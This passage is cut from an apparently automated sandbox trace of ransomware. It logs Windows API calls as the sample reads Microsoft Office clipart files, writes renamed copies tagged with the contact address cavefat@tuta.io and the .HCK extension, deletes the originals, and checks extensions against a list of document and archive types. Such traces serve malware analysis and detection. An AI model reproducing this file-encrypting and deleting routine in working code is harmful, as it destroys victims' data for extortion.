Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00190_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.299] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.299] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00190_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00190_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.302] GetLastError () returned 0x0 [0180.302] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x514c, lpOverlapped=0x0) returned 1 [0180.305] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x5150, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x5150, lpOverlapped=0x0) returned 1 [0180.306] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.306] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.306] SetEndOfFile (hFile=0x368) returned 1 [0180.307] CloseHandle (hObject=0x368) returned 1 [0180.307] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.307] SetEndOfFile (hFile=0x300) returned 1 [0180.311] CloseHandle (hObject=0x300) returned 1 [0180.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00190_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00190_.wmf")) returned 1 [0180.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00190_.WMF") returned 68 [0180.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00190_.WMF") returned 68 [0180.312] lstrlenW (lpString=".doc") returned 4 [0180.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.312] lstrlenW (lpString=".docx") returned 5 [0180.312] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.312] lstrlenW (lpString=".pdf") returned 4 [0180.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.312] lstrlenW (lpString=".xls") returned 4 [0180.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.312] lstrlenW (lpString=".xlsx") returned 5 [0180.312] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.312] lstrlenW (lpString=".ppt") returned 4 [0180.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00190_.WMF") returned 68 [0180.312] lstrlenW (lpString=".zip") returned 4 [0180.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.312] lstrlenW (lpString=".rar") returned 4 [0180.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.312] lstrlenW (lpString=".bz2") returned 4 [0180.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.312] lstrlenW (lpString=".7z") returned 3 [0180.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00190_.WMF") returned 68 [0180.312] lstrlenW (lpString=".dbf") returned 4 [0180.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00190_.WMF") returned 68 [0180.312] lstrlenW (lpString=".1cd") returned 4 [0180.312] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00190_.WMF") returned 68 [0180.312] lstrlenW (lpString=".jpg") returned 4 [0180.312] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00190_.WMF") returned 68 [0180.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00190_.WMF") returned 68 [0180.312] lstrlenW (lpString=".doc") returned 4 [0180.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.312] lstrlenW (lpString=".docx") returned 5 [0180.312] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.312] lstrlenW (lpString=".pdf") returned 4 [0180.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.312] lstrlenW (lpString=".xls") returned 4 [0180.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.312] lstrlenW (lpString=".xlsx") returned 5 [0180.312] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.312] lstrlenW (lpString=".ppt") returned 4 [0180.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00190_.WMF") returned 68 [0180.312] lstrlenW (lpString=".zip") returned 4 [0180.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.312] lstrlenW (lpString=".rar") returned 4 [0180.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.313] lstrlenW (lpString=".bz2") returned 4 [0180.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.313] lstrlenW (lpString=".7z") returned 3 [0180.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00190_.WMF") returned 68 [0180.313] lstrlenW (lpString=".dbf") returned 4 [0180.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00190_.WMF") returned 68 [0180.313] lstrlenW (lpString=".1cd") returned 4 [0180.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00190_.WMF") returned 68 [0180.313] lstrlenW (lpString=".jpg") returned 4 [0180.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.313] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.313] lstrlenW (lpString="SO00197_.WMF") returned 12 [0180.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00197_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.317] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=9100) returned 1 [0180.317] CloseHandle (hObject=0x2fc) returned 1 [0180.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00197_.wmf")) returned 0x220 [0180.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00197_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00197_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00197_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.324] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.324] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00197_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00197_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.326] GetLastError () returned 0x0 [0180.326] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x238c, lpOverlapped=0x0) returned 1 [0180.329] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2390, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2390, lpOverlapped=0x0) returned 1 [0180.330] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.330] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.330] SetEndOfFile (hFile=0x3a4) returned 1 [0180.332] CloseHandle (hObject=0x3a4) returned 1 [0180.333] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.333] SetEndOfFile (hFile=0x368) returned 1 [0180.335] CloseHandle (hObject=0x368) returned 1 [0180.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00197_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00197_.wmf")) returned 1 [0180.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00197_.WMF") returned 68 [0180.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00197_.WMF") returned 68 [0180.339] lstrlenW (lpString=".doc") returned 4 [0180.339] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.339] lstrlenW (lpString=".docx") returned 5 [0180.339] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.339] lstrlenW (lpString=".pdf") returned 4 [0180.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.339] lstrlenW (lpString=".xls") returned 4 [0180.339] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.339] lstrlenW (lpString=".xlsx") returned 5 [0180.339] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.339] lstrlenW (lpString=".ppt") returned 4 [0180.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00197_.WMF") returned 68 [0180.339] lstrlenW (lpString=".zip") returned 4 [0180.340] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.340] lstrlenW (lpString=".rar") returned 4 [0180.340] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.340] lstrlenW (lpString=".bz2") returned 4 [0180.340] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.340] lstrlenW (lpString=".7z") returned 3 [0180.340] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00197_.WMF") returned 68 [0180.340] lstrlenW (lpString=".dbf") returned 4 [0180.340] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00197_.WMF") returned 68 [0180.340] lstrlenW (lpString=".1cd") returned 4 [0180.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00197_.WMF") returned 68 [0180.340] lstrlenW (lpString=".jpg") returned 4 [0180.340] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00197_.WMF") returned 68 [0180.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00197_.WMF") returned 68 [0180.340] lstrlenW (lpString=".doc") returned 4 [0180.340] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.340] lstrlenW (lpString=".docx") returned 5 [0180.340] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.340] lstrlenW (lpString=".pdf") returned 4 [0180.340] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.340] lstrlenW (lpString=".xls") returned 4 [0180.340] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.340] lstrlenW (lpString=".xlsx") returned 5 [0180.340] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.340] lstrlenW (lpString=".ppt") returned 4 [0180.340] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00197_.WMF") returned 68 [0180.340] lstrlenW (lpString=".zip") returned 4 [0180.340] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.340] lstrlenW (lpString=".rar") returned 4 [0180.340] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.341] lstrlenW (lpString=".bz2") returned 4 [0180.341] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.341] lstrlenW (lpString=".7z") returned 3 [0180.341] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00197_.WMF") returned 68 [0180.341] lstrlenW (lpString=".dbf") returned 4 [0180.341] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00197_.WMF") returned 68 [0180.341] lstrlenW (lpString=".1cd") returned 4 [0180.341] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00197_.WMF") returned 68 [0180.341] lstrlenW (lpString=".jpg") returned 4 [0180.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.341] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.341] lstrlenW (lpString="SO00212_.WMF") returned 12 [0180.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00212_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.345] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=20338) returned 1 [0180.345] CloseHandle (hObject=0x3a4) returned 1 [0180.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00212_.wmf")) returned 0x220 [0180.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00212_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00212_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00212_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.351] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.351] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00212_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00212_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.354] GetLastError () returned 0x0 [0180.354] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x4f72, lpOverlapped=0x0) returned 1 [0180.363] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x4f80, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x4f80, lpOverlapped=0x0) returned 1 [0180.364] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.364] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.364] SetEndOfFile (hFile=0x3a4) returned 1 [0180.365] CloseHandle (hObject=0x3a4) returned 1 [0180.367] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.368] SetEndOfFile (hFile=0x368) returned 1 [0180.370] CloseHandle (hObject=0x368) returned 1 [0180.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00212_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00212_.wmf")) returned 1 [0180.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00212_.WMF") returned 68 [0180.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00212_.WMF") returned 68 [0180.374] lstrlenW (lpString=".doc") returned 4 [0180.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.374] lstrlenW (lpString=".docx") returned 5 [0180.374] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.374] lstrlenW (lpString=".pdf") returned 4 [0180.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.374] lstrlenW (lpString=".xls") returned 4 [0180.375] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.375] lstrlenW (lpString=".xlsx") returned 5 [0180.375] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.375] lstrlenW (lpString=".ppt") returned 4 [0180.375] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00212_.WMF") returned 68 [0180.375] lstrlenW (lpString=".zip") returned 4 [0180.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.375] lstrlenW (lpString=".rar") returned 4 [0180.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.375] lstrlenW (lpString=".bz2") returned 4 [0180.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.375] lstrlenW (lpString=".7z") returned 3 [0180.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00212_.WMF") returned 68 [0180.375] lstrlenW (lpString=".dbf") returned 4 [0180.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00212_.WMF") returned 68 [0180.375] lstrlenW (lpString=".1cd") returned 4 [0180.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00212_.WMF") returned 68 [0180.375] lstrlenW (lpString=".jpg") returned 4 [0180.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00212_.WMF") returned 68 [0180.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00212_.WMF") returned 68 [0180.375] lstrlenW (lpString=".doc") returned 4 [0180.375] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.375] lstrlenW (lpString=".docx") returned 5 [0180.375] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.375] lstrlenW (lpString=".pdf") returned 4 [0180.375] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.375] lstrlenW (lpString=".xls") returned 4 [0180.375] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.375] lstrlenW (lpString=".xlsx") returned 5 [0180.375] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.375] lstrlenW (lpString=".ppt") returned 4 [0180.375] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00212_.WMF") returned 68 [0180.375] lstrlenW (lpString=".zip") returned 4 [0180.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.375] lstrlenW (lpString=".rar") returned 4 [0180.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.376] lstrlenW (lpString=".bz2") returned 4 [0180.376] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.376] lstrlenW (lpString=".7z") returned 3 [0180.376] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00212_.WMF") returned 68 [0180.376] lstrlenW (lpString=".dbf") returned 4 [0180.376] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00212_.WMF") returned 68 [0180.376] lstrlenW (lpString=".1cd") returned 4 [0180.376] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00212_.WMF") returned 68 [0180.376] lstrlenW (lpString=".jpg") returned 4 [0180.376] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.376] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.376] lstrlenW (lpString="SO00289_.WMF") returned 12 [0180.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00289_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.377] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=55520) returned 1 [0180.377] CloseHandle (hObject=0x3a4) returned 1 [0180.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00289_.wmf")) returned 0x220 [0180.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00289_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00289_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00289_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.383] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.383] SetFilePointerEx (in: 